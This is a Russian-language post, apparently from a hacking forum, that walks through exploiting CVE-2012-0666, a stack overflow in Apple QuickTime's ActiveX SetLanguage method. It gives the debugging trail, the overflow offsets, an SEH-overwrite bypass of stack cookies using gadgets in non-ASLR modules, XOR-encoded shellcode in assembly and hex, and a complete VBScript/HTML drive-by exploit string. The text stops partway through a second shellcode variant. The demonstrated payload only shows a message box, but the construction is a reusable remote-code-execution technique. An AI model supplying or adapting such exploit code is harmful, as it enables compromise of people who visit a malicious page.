• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Анализ уязвимости CVE-2012-0666

vborion

CD-диск
Пользователь
Регистрация
16.06.2020
Сообщения
18
Реакции
40
Депозит
0.16
Всем доброго времени суток.

В этой статье я бы хотел провести анализ уязвимости CVE-2012-0666 касающуюся плагина Apple QuickTime. Согласно информации с сайта уязвимость позволяет скрытно запустить произвольный код используя переполнение буфера. Уязвимость найдена пользователем CHkr_D591 сотрудничающего с компанией HP по программе Zero Day Initiative. Дальнейший поиск на сайте этой организации приводит к этой ссылке. Согласно описанию уязвимость находится в библиотеке Quicktime.qts. Ошибка заключается в неконтроллируемом копировании строки в стек внутри Quicktime.qts. Процесс неконтроллируемой записи достигается посредством вызова COM метода IQTPluginControl::SetLanguage из ActiveX библиотеки QTPlugin.ocx. Уязвимость доступна в плагинах версии 7.7.1 и ниже.

Для того чтобы найти место в котором происходит перезапись необходимо проследить всю цепочку вызовов до места в котором происходит непосредственная порча данных, перезаписать адрес возврата. В данном исследовании для упрощения я буду подразумевать что у пользователя отключен DEP и код можно выполнить непосредственно в стеке, иначе придется разрабатывать еще дополнительно ROP-цепочку которая не имеет отношения к исследованию уязвимости. Также отмечу что многие адреса валидны только в текущей сессии отладки, поскольку почти все модули QuickTime имеют подержку ASLR.

Итак для начала нужно выяснить как выполнить загрузку нужного OCX в память. Согласно описанию на сайте apple уязвимость доступна при посещении вредоносного веб-сайта, поэтому напишем тестовую htlm страницу которая будет содержать QuickTime объект и вызывать метод IQTPluginControl::SetLanguage:

HTML:
<html>
    <head>
        <title>Test CVE-2012-0666</title>

        <script language="VBScript">
            Sub RunExploit()
            QT.SetLanguage("Russian")
            End Sub
        </script>

    </head>

    <body>

    <object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" ID="QT"></object>

    <body onload="vbscript:RunExploit()">

    </body>

<html>

Данная HTLM страница содержит встроенный QuickTime объект (как встраивать объект описано здесь), а также скрипт который вызывает метод SetLanguage этого объекта. Для упрощения встраивание объекта в данную HTML страницу выполнено через тег <OBJECT> т.к. мы будем тестировать эксплоит в InternetExplorer’е. Сохраняем страницу с расширением HTML и открываем в браузере:

1592323053430.png


Плагин загрузился, теперь нужно перехватить вызов SetLanguage чтобы отследить копирование строки. Для этого присоединимся к процессу InternetExplorer’а (iexplore.exe) через отладчик OllyDbg. Далее нужно найти таблицу виртуальных методов интерфейса IQTPluginControl, для этого перехватим момент создания COM объектов из этого OCX файла. Т.к. страница уже подгружена, то OCX уже находится в памяти и нам нужно поставить брейкпоинт на функцию DllGetClassObject которая вызывается системой при создании фабрики классов этого OCX файла:

1592323158682.png


Вот ее прототип из MSDN:

C:
HRESULT __stdcall DllGetClassObject(
  _In_  REFCLSID rclsid,
  _In_  REFIID   riid,
  _Out_ LPVOID   *ppv
);

Первым параметром передается идентификатор кокласса (CLSID), вторым интерфейс (IID), в последнем параметре функция возвращает указатель на объект нужного интерфейса. Чтобы найти нужный CLSID нужно анализировать библиотеку типов из QTPlugin.ocx. Для этого можно воспользоваться любым просмотрщиком OLE, к примеру OLE View. Открываем нужный OCX для просмотра библиотеки типов и смотрим список коклассов:

1592323241763.png


Нас интересует кокласс QTPluginControl поскольку он реализует интерфейс IQTPluginControl который собственно нас и интересует. Смотрим его описание:

C++:
[
  uuid(4063BE15-3B08-470D-A0D5-B37161CFFD69),
  helpstring("Apple QuickTime Plugin Control"),
  control
]
coclass QTPluginControl {
    [default] interface IQTPluginControl;
    [default, source] dispinterface _IQTPluginControlEvents;
};

Видим что нужный нам CLSID = {4063BE15-3B08-470D-A0D5-B37161CFFD69}. Также извлекаем IID интерфейса IQTPluginControl = {02BF25D3-8C17-4B23-BC80-D3488ABDDC6B}. Теперь для того чтобы перехватить создание класса нужно проанализировать первый параметр функции DllGetClassObject и если он указывает на этот идентифкатор, то возвратится нужный нам объект. Далее просто обновляем страницу, и выполнение прерывается на этой функции:

1593110796758.png


Анализируя параметры видим что первым параметром передается CLSID = {4063BE15-3B08-470D-A0D5-B37161CFFD69}, а в качестве интерфейса IID = {00000001-0000-0000-C000-000000000046} IClassFactory. Идентификатор класса тот же что и в библиотеке классов, значит это нужный нам объект. «Проматываем» функцию до конца и смотрим на значение по адресу в 3-м параметре:

1592323500158.png


Итак это указатель на указатель на виртуальную таблицу методов интерфейса IClassFactory. Посмотрим описание этого интерфейса:

C++:
[
    odl,
    uuid(00000001-0000-0000-C000-000000000046),
]
interface IClassFactory : stdole.IUnknown {

    HRESULT CreateInstance (
        [in] stdole.IUnknown*pUnkOuter,
        [in] UUID *riid,
        [out] void *ppvObject);

    HRESULT LockServer(
        [in] BOOL fLock);

}

Метод CreateInstance вызывается для создания объекта, в качестве riid передается указатель на нужный интерфейс возвращаемый в параметре ppvObject.
Как видно из описания этот интерфейс наследуется от IUnknown (каждый COM интерфейс должен наследоваться от этого интерфейса), поэтому приведу описание этого интерфейса:

C++:
[
    odl,
    uuid(00000000-0000-0000-C000-000000000046),
]
interface IUnknown{

    LONG QueryInterface(
        [in, out] UUID *riid,
        [in, out] void *ppvObject);

    LONG AddRef();
    LONG Release();
}

Наследование показывает что таблица виртуальных методов просто повторяет базовую вслед за которой идут элементы уже непосредственно описываемого интерфейса. В нашем случае таблица методов будет следующей:

НазаваниеСмещение
IUnknown::QueryInterface0x00
IUnknown::AddRef0x04
IUnknown::Release0x08
IClassFactory::CreateInstance0x0c
IClassFactory::LockServer0x10

Для удобства создадим метки для всех методов интерфейса IClassFactory. Для этого переходим по возвращенному указателю – это перенесет нас на сам объект по нулевому смещению которого содержится указатель на виртуальную таблицу методов:

1592323878761.png


Проставляем метки для каждой функции и ставим брейкпоинт на IClassFactory ::CreateInstance:

1592323903797.png


Далее жмем F9 – выполнение прерывается на нужном методе. Сразу смотрим на стек на 3-й параметр:

1592323929117.png


Как видно это указатель на IUnknown переходим к возвращаемому значению и также ставим брейкпоинт на метод QueryInterface. Это позволит перехватить запрашиваемые интерфейсы, а именно IQTPluginControl. Далее прогоняем код пока в QueryInterface не будет запрошен IDispatch:

C++:
[odl,
      uuid(00020400-0000-0000-C000-000000000046)]
    interface IDispatch : IUnknown {

        HRESULT GetTypeInfoCount(
            [out, retval] int* pctinfo);

        HRESULT GetTypeInfo(
            [in, defaultvalue(0)] int itinfo,
            [in, defaultvalue(0)] long lcid,
            [out, retval] ITypeInfo **pptinfo);

        LONG GetIDsOfNames(
            [in] UUID* riid,
            [in] LPWSTR *rgszNames,
            [in] int cNames,
            [in] long lcid,
            [out] long *rgdispid);

        LONG Invoke(
            [in] long dispidMember,
            [in] UUID* riid,
            [in] long lcid,
            [in] short wFlags,
            [in] DISPPARAMS *pdispparams,
            [in] long pvarResult,
            [out] EXCEPINFO *pexcepinfo,
            [out] int *puArgErr) };

При каждом вызове из скрипта метода объекта вызывается пара GetIDsOfNames с именем метода который возвращает идентификатор метода DISPID, и Invoke для непосредственного вызова. Ставим брейкопоинт на GetIDsOfNames и Invoke и следим пока не будет запрошен идентификатор метода SetLanguage:

1592324044690.png


При вызове обращаем внимание на 3-й аргумент в нем содержится массив указателей на строки с именами методов:

1592324069568.png


Смотрим возвращаемое значение идентификатора метода:

1592324091164.png


0x13C – идентификатор метода. Теперь нужно отслеживать вызов метода Invoke c данным идентификатором:

1592324131230.png


Далее трассируем код пока нас не перебросит на нужный метод. Обычно (в большинстве случаев) непосредственно метод вызывается функцией DispCallFunc. Поэтому можно поставить на нее брейкпоинт и уже в ней трассировать до вызова метода.
Итак после DispCallFunc мы оказываемся опять в теле QuickTime.OCX. С большей вероятностью это и есть метод SetLanguage. Для того чтобы точно убедиться проверим параметры:

1592324213848.png


Итак в функцию передается первый параметр 058F5000 если мы пройдем по цепочке указателей то увидим что это COM объект ссылающийся на IUnknown интерфейс. Второй параметр как раз наша строка “Russian”, если взглянуть перед строкой на 4 байта то там будет размер строки в байтах, следовательно это BSTR строка. Т.к. в конце функции стоит RETN 8 то значит функция принимает всего 2 параметра. Т.е. все условия совпадают, значит это именно метод IQTPluginControl::SetLanguage; для того чтобы точно убедиться в этом можно скомпилировать небольшую программу к примеру на VB6 и вызвать непосредственно этот метод через виртуальную таблицу, впрочем я так сначала и сделал. Кстати теперь зная адрес метода можно получить уже всю таблицу (к примеру другие уязвимые методы).

Теперь трассируем код внутри метода – смотрим где может быть у нас проблема с копированием строки. Ставим брейкпоинт на первый символ строки на доступ и прогоняем код дальше:

1592324296764.png


Выполнение останавливается внутри API функции lstrlenW – значит происходит подсчет символов и никакого копирования пока нет. Прогоняем дальше и оказываемся внутри функции WideCharToMultiByte. Эта функция конвертирует строку из UNICODE в многобайтовую кодировку:

1592324347942.png


Что нас может здесь заинтересовать – это адрес куда преобразованная строка будет записана. Если посмотреть на значение то видно что это адрес в стеке. Итак – это потенциально возможное место уязвимости. Выходим из функции и ставим теперь брейкпоинт на преобразованной строке, возможно она будет копироваться еще куда-нибудь. Но если запустить выполнение то следующий останов будет за пределами метода IQTPluginControl::SetLanguage. Значит больше никаких манипуляций со переданными строками не было. Нужно проверить вызов WideCharToMultiByte – каким образом выделяется память для строки? Если в стеке то либо это фиксированная область, либо к примеру функция alloca.
Удаляем брейкпоинты на данные и обновляем страницу пока не «упадем» в IQTPluginControl::SetLanguage. Трассируем код и следим за стеком, видно что длина строки + 1 после вызова lstrlenW помещается в переменную LOCAL.5 и потом вызывается процедура по адресу 73561220:

1592324436154.png


В эту процедуру передаются 3 аргумента: адрес переменной с длиной строки + 1 (pLen), длина строки + 1(iLen) и 2 (iNum). Внутри эта процедура перемножает iLen * iNum + 0x80000000 и тестирует значение, не превышает ли оно 0xFFFFFFFF (тестируется старший знаковый бит). При успехе в pLen записывается произведение, в случае неудачи возвращается код ошибки 0x80070057 что соответствует HRESULT = E_INVALIDARG. После вызова функции тестируется возвращаемое значение, затем проверяется полученое значение и сравнивается с 0x400:

1592324489442.png


Если оно меньше то вызывается процедура по адресу 735623С0:

1592324521789.png


В нашем случае длина строки Russian = 7, соответственно передаваемое знечение будет равно dLen = (iLen + 1) * 2 = 0x10. Внутри этой функции вызывается функция по адресу 73562390 с параметрами pOut, dLen, 0x2000:

1592324568019.png


Эта функция вычисляет 0xFFFFFFFF – dLen и проверяет значение не выходит ли оно за диапазон 0…0x2000 в нашем случае. Если значение меньше то возвращается ошибка, иначе в параметр заданный первым указателем пишется значение *pOut = 0x2000 + dLen. Далее при успешном вызове выполняется процедура 7357AC30 в которую первым параметром передается pOut:

1592324609397.png


Как видно из кода сначала в ECX помещается адрес в стеке перед адресом возврата, затем вычитается значение *pOut и оставляется нижний ниббл который прибавляется к lAlgn = *pOut + (STACK - *pOut) & 0xF. Далее сумма сравнивается на переполнение, если оно имело место быть то результат будет равен -1 иначе lAlgn. Далее вычисляется выражение ~((&retaddr - lAlgn) >> 32) & (&retaddr - lAlgn) т.е. если разность выходит за диапазон 32-х бит выражение вернет 0 иначе разность. Далее происходит последовательное увеличение стека пока его размер не будет больше или равен lAlgn. Далее в ESP записывается необходимое значение и в восстанавливается адрес возврата. Далее вызывается процедура 7357A10F которая устанавливает обработчик исключений. Затем происходит выход из функции с восстановлением стека. Далее опять вызывается процедура 7357AC30 (alloca) в которую передается dLen:

1592324684422.png


Эта процедура опять выделяет память в стеке затем вызывается процедура по адресу 73561250 в которую передаются указатель на память в стеке (pStack), указатель на строку (bstrLang), dLen, и значение LOCAL.10 которое устанавливается в процедуре 735799E1 равное 3:

1592324721278.png


Как видно из кода происходите проверка параметров и вызывается функция WideCharToMultiByte. Как видно функция пишет данные в pStack, но выхода за границы тут не может быть т.к. все параметры проверяются. Далее трассируя код видно что вызывается процедура уже из библиотеки QuickTimeWebHelper_qtx:

1592324752340.png


Анализируя возвращаемое значение приходим к выводу что функция успешно выполняется при возвращаемом значении равном 0 иначе метод IQTPluginControl::SetLanguage возвращает E_FAIL. В нашем случае так и происходит. Значит где-то ошибка, если посмотреть на описание метода IQTPluginControl::SetLanguage видно что при установке этого свойства нужен видеофайл с дорожками на необходимом языке:

Get and set the movie’s current language. Setting the language causes any tracks associated with that language to be enabled and tracks associated with other languages to be disabled. If no tracks are associated with the specified language, the movie’s language is not changed.

В нашем случае видеофайла нет вообще поэтому вызов завершается неудачей, а отсутствие доступа к многобайтовой строке объясняется отсутствием дорожек которые бы можно было сравнивать. Теперь нужно создать видеофайл. Особенностью MOV формата является возможность создания text descriptors где можно указать к текстовый поток с необходимым языком без самого видеофайла:

Код:
TEXTtext
{QTtext} {timeScale:30} {width:320} {height:240} {timeStamps:absolute} {language:15} {textEncoding:0}
{font:helvetica} {size:12} {plain} {justify:center} {dropShadow:off} {anti-alias:on}
{textColor: 65535, 65535, 65535} {backColor: 0, 0, 0}
[00:00:00.00]
{ScrollIn:on}
CVE-2012-0666
[00:00:10.00]

Также в HTML странице укажем этот видеофайл в качестве источника:

HTML:
<param name="src" value="f00002.mov">

Обновим страницу чтобы посмотреть корректность файла:

1592324913818.png


Теперь можно отслеживать обращение к многобайтовой строке после вызова WideCharToMultiByte для этого поставим брейкпоинт на первый символ. После запуска код остановится при обращении к строке в функции 6EC554B0 модуля QuickTime_qtx:

1592324946284.png


Как видно сначала определяется размер строки а затем копирование ее. Если посмотреть на адрес назначения то видно что этот адрес в стеке. Это еще одно место с потенциальной уязвимостью. Для определения куда копируется строка перейдем по стеку вызовов на одну функцию выше и посмотрим как передается первый параметр. Если обратить внимание на механизм вызова то будет видно что функция вызывается по указателю, если проанализировать как произошел вызов то будет видно что вызов был через функцию theQuickTimeDispatcher которая принимает идентификатор функции, находит ее адрес и вызывает ее. Собирая все вместе находим что вызов происходит из модуля QuickTimeWebHelper_qtx:

1592324990434.png


В качестве первого параметра передается фиксированный буфер в стеке. Получается что можно перезаписать стек как нам угодно, т.к. в модуле QuickTimeWebHelper_qtx буфер для строки не выделяется динамически, а расположен статически в стеке.
Для того чтобы протестировать уязвимость нужно сформировать строку таким образом чтобы заменить адрес возврата на необходимый нам, который передаст управление коду в стеке который также будет находится в строке. Также необходимо найти модуль без ASLR поскольку мы используем фиксированные адреса. Для этой задачи напишем небольшую программу на VB6 для поиска модулей без ASLR. Исходный код и скомпилированная программа находятся в папке finder в архиве приложенном к данной статье.
Запускаем поиск по папкам “QuickTime” и “Common Files \Apple\Apple Application Support”:

1592325156626.png


Смотрим данный модуль в списке загруженных модулей в Internet Explorer:

1592325184046.png


Как видно найден один модуль который мы можем использовать - icudt46.dll.
Для передачи управления пойдут к примеру команды JMP ESP (FF E4) или CALL ESP (FF D4). Запустим поиск этих команд:

1592325235407.png


Мы можем использовать этот адрес для «прыжка» в стек для выполнения кода. Как мы определили сначала мы работаем в условиях когда DEP отключен, иначе нужно создавать ROP паттерн чтобы не выполнять код в стеке, а выделять специальную память для него с разрешением на выполнение и копировать шеллкод туда, и оттуда уже выполнять.
Итак, для формирования шеллкода проще всего будет опять вернуться в функцию копирования строки 6EC554B0 модуля QuickTime_qtx и посмотреть расстояние в байтах от буфера-приемника до адреса возврата:

1592325291519.png


0x32AC650 – 0x32AC44C = 0x204 – столько байт нужно для того чтобы перезаписать адрес возврата. Итак формируем строку размером в 0x204 символов и передаем ее в метод IQTPluginControl::SetLanguage. Незабыв поставить брейкпоинт на функцию бесконтрольного копирования убеждаемся что буфер перезаписывается вместе с адресом возврата, но если выполнить теперь трассировку то будет видно что приложение завершилось со статусом STATUS_STACK_BUFFER_OVERRUN. Вероятно DLL скомпилирована с опцией /GS – в этом режиме потенциально опасные, с точки зрения перезаписи буфера функции обрамляются проверкой, представляющей из себя определенное значение записанное в самом начале после адреса возврата. Если функция перезаписывает данные за пределом буфера, то она перезапишет и это значение и при проверке это будет выявлено и процесс аварийно завершится не дав нашему коду выполнится. Действительно если переместиться в пролог и эпилог проблемной функции можно увидеть следующие инструкции:

1592325352637.png


По адресу 7351DC38 хранится так называемое __security_cookie – значение вычисляемое при старте модуля, уникальное для каждого запуска. Как видно из кода функция в прологе XOR’ит это значение с указателем стека, а при выходе из функции проделывает обратную операцию и запускает проверку – не изменилось ли оно. При перезаписи буфера мы в любом случае перезапишем это значение и функция аварийно завершится. Для обхода этой проблемы мы к примеру можем вычислить это значение, но если посмотреть на декомпилируемый листинг функции инициирующей значение __security_cookie то заметим что это сделать почти нереально, поскольку значения временных функций и высокочастотных счетчиков постоянно изменяются:

C:
DWORD __security_init_cookie()
{
  DWORD result; // eax@3
  DWORD v1; // esi@4
  DWORD v2; // esi@4
  DWORD v3; // esi@4
  DWORD v4; // esi@4
  DWORD v5; // esi@4
  LARGE_INTEGER PerformanceCount; // [sp+8h] [bp-10h]@4
  struct _FILETIME SystemTimeAsFileTime; // [sp+10h] [bp-8h]@1

  SystemTimeAsFileTime.dwLowDateTime = 0;
  SystemTimeAsFileTime.dwHighDateTime = 0;
  if ( __security_cookie != 0xBB40E64E && __security_cookie & 0xFFFF0000 )
  {
    result = ~__security_cookie;
    dword_6755DC3C = ~__security_cookie;
  }
  else
  {
    GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
    v1 = SystemTimeAsFileTime.dwLowDateTime ^ SystemTimeAsFileTime.dwHighDateTime;
    v2 = GetCurrentProcessId() ^ v1;
    v3 = GetCurrentThreadId() ^ v2;
    v4 = GetTickCount() ^ v3;
    QueryPerformanceCounter(&PerformanceCount);
    result = PerformanceCount.LowPart ^ PerformanceCount.HighPart;
    v5 = PerformanceCount.LowPart ^ PerformanceCount.HighPart ^ v4;
    if ( v5 == 0xBB40E64E )
    {
      v5 = 0xBB40E64F;
    }
    else if ( !(v5 & 0xFFFF0000) )
    {
      result = v5 << 16;
      v5 |= v5 << 16;
    }
    __security_cookie = v5;
    dword_6755DC3C = ~v5;
  }
  return result;
}

Также можно попробовать получить это значение из VBScript’а и подставить в строку уже готовое значение, но из скрипта прочитать это значение не так просто. Самым простым способом будет перезапись SEH обработчика исключений на свой, а в качестве строки задать очень длинную строку чтобы вызвать запись за пределы стека в невыделенную память, тем самым вызвать обработчик исключения. Для выполнения этой задачи необходимо определить ближайший SEH фрейм в котором мы изменим адрес обработчика. При вызове обработчика во втором параметре передается адрес структуры EXCEPTION_REGISTRATION в которую мы можем контролировать запись. Т.е. записав в качестве указателья на следующий обработчик шеллкод мы сможем его вызвать, передав управление на него определенной последовательностью инструкций. Итак, в этом случае нам нужно определить расстояние уже до структуры EXCEPTION_REGISTRATION в первое поле мы запишем инструкцию JMP для того чтобы перепрыгнуть адрес обработчика, а во второе адрес обработчика который еще нужно будет найти по определенным критериям.

1592325465727.png


Расстояние до структуры EXCEPTION_REGISTRATION равно 0x32CCB80 - 0x32СC8A8 -1 = 0x2D7 байт. В первые 4 байта мы запишем опкод инструкции JMP $+8 = 0x06EB, в следующие 4 мы запишем адрес обработчика исключений который необходимо найти, а затем наш шеллкод.
Для поиска обработчика исключений нужно обеспечить передачу управление по адресу второго аргумента. Типичная последовательность инструкций POP/POP/RET – изъять адрес возврата, первый параметр и перейти по второму параметру. Последовательность может быть разной к примеру CALL DWORD [ESP+8], JMP DWORD [ESP+8] и т.д. Для поиска воспользуемся Immunity Debbuger со скриптом mona. Также этот скрипт позволяет найти модули без ASLR. Т.к. такой модуль всего лишь один (icudt46.dll), и скрипт не находит в нем необходимой последовательностии инструкций, то придется загружать другой модуль в котором будет отключен ASLR и присутствовать нужная последовательность инструкций. Для этого сначала запустим поиск модулей без ASLR используя finder в системной папке. На тестируемой машине поиск выдал следующий список модулей:

amcompat.tlb
atmfd.dll
BOOTVID.DLL
COMCT232.OCX
COMCT332.OCX
COMCTL32.oca
COMCTL32.OCX
COMDLG32.oca
COMDLG32.OCX
COMMTB32.DLL
CRSWPP.DLL
crtdll.dll
ctl3d32.dll
DBADAPT.DLL
DBLIST32.OCX
DBMSSHRN.DLL
DBMSSOCN.DLL
expsrv.dll
MSWINSCK.OCX
ntkrnlpa.exe
ntoskrnl.exe
ODBCCP32.CPL
ODBCTL32.DLL
PICCLP32.OCX
PIPARSE.DLL
POSTWPP.DLL
PSHED.DLL
FPWPP.DLL​
FTPWPP.DLL
hha.dll
HLP95EN.DLL
HTMUTIL.DLL
iac25_32.ax
IMGWALK.DLL
ir32_32.dll
ir41_32.ax
ir41_qc.dll
ir41_qcx.dll
ir50_32.dll
ir50_qc.dll
ir50_qcx.dll
ivfsrc.ax
MCI32.OCX
MDT2FW95.DLL
mfc40.dll
python27.dll
RDOCURS.DLL
REPUTIL.DLL
RICHTX32.oca
RICHTX32.OCX
SCP32.DLL
SELFREG.DLL
SQLPARSE.DLL
sqlunirl.dll
mfc40u.dll
mfc71.dll
mfc71u.dll
MSADODC.OCX
MSBIND.DLL
MSCHRT20.OCX
MSCOMCT2.oca
MSCOMCT2.OCX
MSCOMCTL.oca
MSCOMM32.OCX
mscorier.dll
mscories.dll
MSDATGRD.OCX
MSDATLST.OCX
MSDATREP.OCX
MSDBRPT.DLL
MSDBRPTR.DLL
msdxm.tlb
sqlwid.dll
sqlwoa.dll
stdole32.tlb
SYSINFO.OCX
TABCTL32.OCX
TLBINF32.DLL
TrickAdvanced.dll
TsWpfWrp.exe
VB5DB.DLL
MSFLXGRD.OCX
MSHFLXGD.OCX
MSINET.OCX
MSJET35.DLL
MSJINT35.DLL
MSJT4JLT.DLL
MSJTER35.DLL
MSMAPI32.OCX
MSMASK32.OCX
MSRD2X35.DLL
MSRDO20.DLL
MSREPL35.DLL
MSSTDFMT.DLL
MSSTKPRP.DLL
msvbvm60.dll
msvcr71.dll
msvcrt20.dll
MSWINSCK.oca
VB6STKIT.DLL
vbajet32.dll
VBAR332.DLL
VEN2232.OLB
vfpodbc.dll
vm3dgl.dll
WEBPOST.DLL
WINDBVER.EXE
WPWIZDLL.DLL

Библиотка MSVBVM60.DLL является библиотекой времени выполнения для приложений написанных на VB6, она также по умолчанию поставляется с Windows и не требует установки. Для загрузки этой DLL в память нужно просто создать какой-либо COM-объект предоставляемый этой DLL. Для получения идентификатора класса откроем эту DLL в OleView и перейдем к списку коклассов:

1592325876520.png


Используем этот идентификатор для создания объекта на HTML странице:

HTML:
...

<body>
    <object CLASSID="clsid:A4C4671C-499F-101B-BB78-00AA00383CBB"}>
    </object>
    <object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" ID="QT">
        <param name="src" value="f00002.mov">
    </object>

    <body onload="vbscript:RunExploit()">

</body>

...

Обновляем страницу и видим что модуль MSVBVM60 не загрузился. Это случилось потому что в реестре отсутствует данный идентификатор в ветке HKEY_CLASSES_ROOT\CLSID. В модуле MSVBVM60 содержится 2 библиотеки типов, поэтому попробуем получить кокласс из второй библиотеки (VBRUN):

1592325944696.png


Этот идентификатор присутствует в реестре:

1592325963538.png


Также я проверил на Win8 x64, на WinXP и Win7 x64 – эта запись присутствует в реестре. Вставляем ее в HTML страницу и обновляем ее – модуль MSVBVM60 появился в списке:

1592325999074.png


Теперь запускаем поиск SEH обработчиков подходящих нам, скрипт mona нашел 1303 места для обработчиков:

1592326081682.png


Выбираем любой к примеру 0x72A3067A. Запишем этот адрес в строку по смещению 0x2D7 + 4. Для длины строки выберем экспериментально размер 0x4FFF. Если эксплоит не будет выбрасывать исключение это значение можно увеличить.

1592326122305.png


Итак формируем строку - String(&H2D7, "x") & Chr(&HEB) & Chr(&H6) & "xx" & Chr(&H7A) & Chr(&H6) & Chr(&HA3) & Chr(&H72) & String(&H4D20, "x")), и проверяем работу. В текущей сессии при копировании строки происходит выброс исключения, при просмотре таблицы исключений видно что оно заменено на наше и если передать управление обработчику то будет выполнен наш обработчик из MSVBVM60:

1592326153362.png


Итак, все работает – управление передается в стек на наш шеллкод. Сделаем простейший шеллкод (на FASM) для запуска в стеке функции MessageBoxA используя вспомогательные функции MSVBVM60:

Код:
use32

addr_DllFunctionCall equ 0x7294A0FD
XOR_VALUE equ 0x92b57bcd
OFFSET_BEFORE_START equ 0x08

; Чтобы обеспечить полное копирование кода
; нужно поксорить его с числом чтобы в
; результате не было нулей
          
shellcode:

mov eax, esp
sub eax, 4
mov ecx, dword [eax]
add ecx, start_c - shellcode  + OFFSET_BEFORE_START
push (end_c - start_c) / 4 + 1
pop eax
xchg eax, ecx

next_enc:
xor dword [eax], XOR_VALUE
add eax, 4
loop next_enc

start_c:

lea ebp, dword [eax - ((end_c - start_c) / 4 + 1)*4 - (start_c - shellcode)]

jmp begin

funcName: db 'MessageBoxA', 0
libName: db 'user32', 0
text: db 'Hello world!', 0

begin:

push 0
push 0
push esp
push 0
sub esp, 8
push esp

mov eax, ebp
add eax, funcName

mov dword [esp+8], eax

add eax, libName - funcName

mov dword [esp+4], eax

mov eax, addr_DllFunctionCall

call eax

mov ecx, ebp
add ecx, text

push 0
push 0
push ecx
push 0

call eax

end_c:

Для того чтобы полностью скопировать весь шеллкод для исполнения нужно обеспечить отсутствие нулевых байтов, поскольку это является признаком конца строки и данные обрежутся в этом месте. Для обеспечения этого условия необходимо закодировать код таким образом чтобы исключить нулевые байты. Код расшифровки должен быть маленьким и не содержать нулевых байтов поскольку он не шифруется. В вышепреведенном коде используется самое простое XOR шифрование начиная с метки start_c (0x19). Для большей гибкости можно использовать динамическое значение для шифрования, в данном коде это не требуется.

Код до шифрования:

Код с оформлением (BB-коды):
89 E0 83 E8 04 8B 08 83 C1 21 6A 16 58 91 81 30

CD 7B B5 92 83 C0 04 E2 F5 8D 68 8F EB 20 4D 65

73 73 61 67 65 42 6F 78 41 00 75 73 65 72 33 32

00 48 65 6C 6C 6F 20 77 6F 72 6C 64 21 00 6A 00

6A 00 54 6A 00 83 EC 08 54 89 E8 83 C0 1E 89 44

24 08 83 C0 0C 89 44 24 04 B8 FD A0 94 72 FF D0

89 E9 83 C1 31 6A 00 6A 00 51 6A 00 FF D0

Код после шифрования:

Код с оформлением (BB-коды):
89 E0 83 E8 04 8B 08 83 C1 21 6A 16 58 91 81 30

CD 7B B5 92 83 C0 04 E2 F5 40 13 3A 79 ED 36 D0

E1 BE 1A D2 F7 8F 14 CD D3 CD 0E C6 F7 BF 48 87

92 85 1E D9 FE A2 5B C2 FD BF 17 D1 B3 CD 11 B5

F8 CD 2F DF 92 4E 97 BD C6 44 93 36 52 D3 F2 F1

B6 C5 F8 75 9E 44 3F 91 96 75 86 15 06 BF 84 65

1B 24 F8 74 A3 A7 7B DF 92 9C 11 B5 6D 1D

Теперь собираем строку используя программу StringMaker и вставляем в HTML документ:

HTML:
QT.SetLanguage (String(&H2D7, "x") & Chr(&HEB) & Chr(&H6) & "xx" & Chr(&H7A) & Chr(&H6) & Chr(&HA3) & Chr(&H72) & _
Chr(&H89) & Chr(&HE0) & Chr(&H83) & Chr(&HE8) & Chr(&H4) & Chr(&H8B) & Chr(&H8) & Chr(&H83) & _
Chr(&HC1) & Chr(&H21) & Chr(&H6A) & Chr(&H16) & Chr(&H58) & Chr(&H91) & Chr(&H81) & _
Chr(&H30) & Chr(&HCD) & Chr(&H7B) & Chr(&HB5) & Chr(&H92) & Chr(&H83) & Chr(&HC0) & _
Chr(&H4) & Chr(&HE2) & Chr(&HF5) & Chr(&H40) & Chr(&H13) & Chr(&H3A) & Chr(&H79) & _
Chr(&HED) & Chr(&H36) & Chr(&HD0) & Chr(&HE1) & Chr(&HBE) & Chr(&H1A) & Chr(&HD2) & _
Chr(&HF7) & Chr(&H8F) & Chr(&H14) & Chr(&HCD) & Chr(&HD3) & Chr(&HCD) & Chr(&HE) & _
Chr(&HC6) & Chr(&HF7) & Chr(&HBF) & Chr(&H48) & Chr(&H87) & Chr(&H92) & Chr(&H85) & _
Chr(&H1E) & Chr(&HD9) & Chr(&HFE) & Chr(&HA2) & Chr(&H5B) & Chr(&HC2) & Chr(&HFD) & _
Chr(&HBF) & Chr(&H17) & Chr(&HD1) & Chr(&HB3) & Chr(&HCD) & Chr(&H11) & Chr(&HB5) & _
Chr(&HF8) & Chr(&HCD) & Chr(&H2F) & Chr(&HDF) & Chr(&H92) & Chr(&H4E) & Chr(&H97) & _
Chr(&HBD) & Chr(&HC6) & Chr(&H44) & Chr(&H93) & Chr(&H36) & Chr(&H52) & Chr(&HD3) & _
Chr(&HF2) & Chr(&HF1) & Chr(&HB6) & Chr(&HC5) & Chr(&HF8) & Chr(&H75) & Chr(&H9E) & _
Chr(&H44) & Chr(&H3F) & Chr(&H91) & Chr(&H96) & Chr(&H75) & Chr(&H86) & Chr(&H15) & _
Chr(&H6) & Chr(&HBF) & Chr(&H84) & Chr(&H65) & Chr(&H1B) & Chr(&H24) & Chr(&HF8) & _
Chr(&H74) & Chr(&HA3) & Chr(&HA7) & Chr(&H7B) & Chr(&HDF) & Chr(&H92) & Chr(&H9C) & _
Chr(&H11) & Chr(&HB5) & Chr(&H6D) & Chr(&H1D) & String(&H6FFF, "x"))
 

Вложения

  • 1592323341507.png
    1592323341507.png
    25 КБ · Просмотры: 58
Я также увеличил число дополнительных символов до 0x6FFF для более надежного срабатывания обработчика исключений. Теперь если запустить код в Internet Explorer’е с выключенным DEP, то отобразится MsgBox:

1592326595999.png


Т.к. модуль MSVBVM60 является системным то из-за ASLR он может быть загружен не по базовому адресу если его место будет занимать другой системный модуль с включенным ASLR т.к. базы системных модулей расположены рядом друг с другом. Для обхода этого ограничения попробуем сделать тоже самое используя несистемный модуль RICHTX32.OCX. Этот модуль имеет базу 0x20000000. Используя скрипт mona находим подходящий SEH обработчик (нас интересуют адреса без нулевых батов) - 0x200127c2. Теперь разработаем шеллкод для этого модуля:

Код:
use32

addr_MessageBoxA equ 0x20001158  ; IAT in RICHTX32
XOR_VALUE equ 0x92b57bcd
OFFSET_BEFORE_START equ 0x08

; Чтобы обеспечить полное копирование кода
; нужно поксорить его с числом чтобы в
; результате не было нулей

shellcode:

mov eax, esp
sub eax, 4
mov ecx, dword [eax]
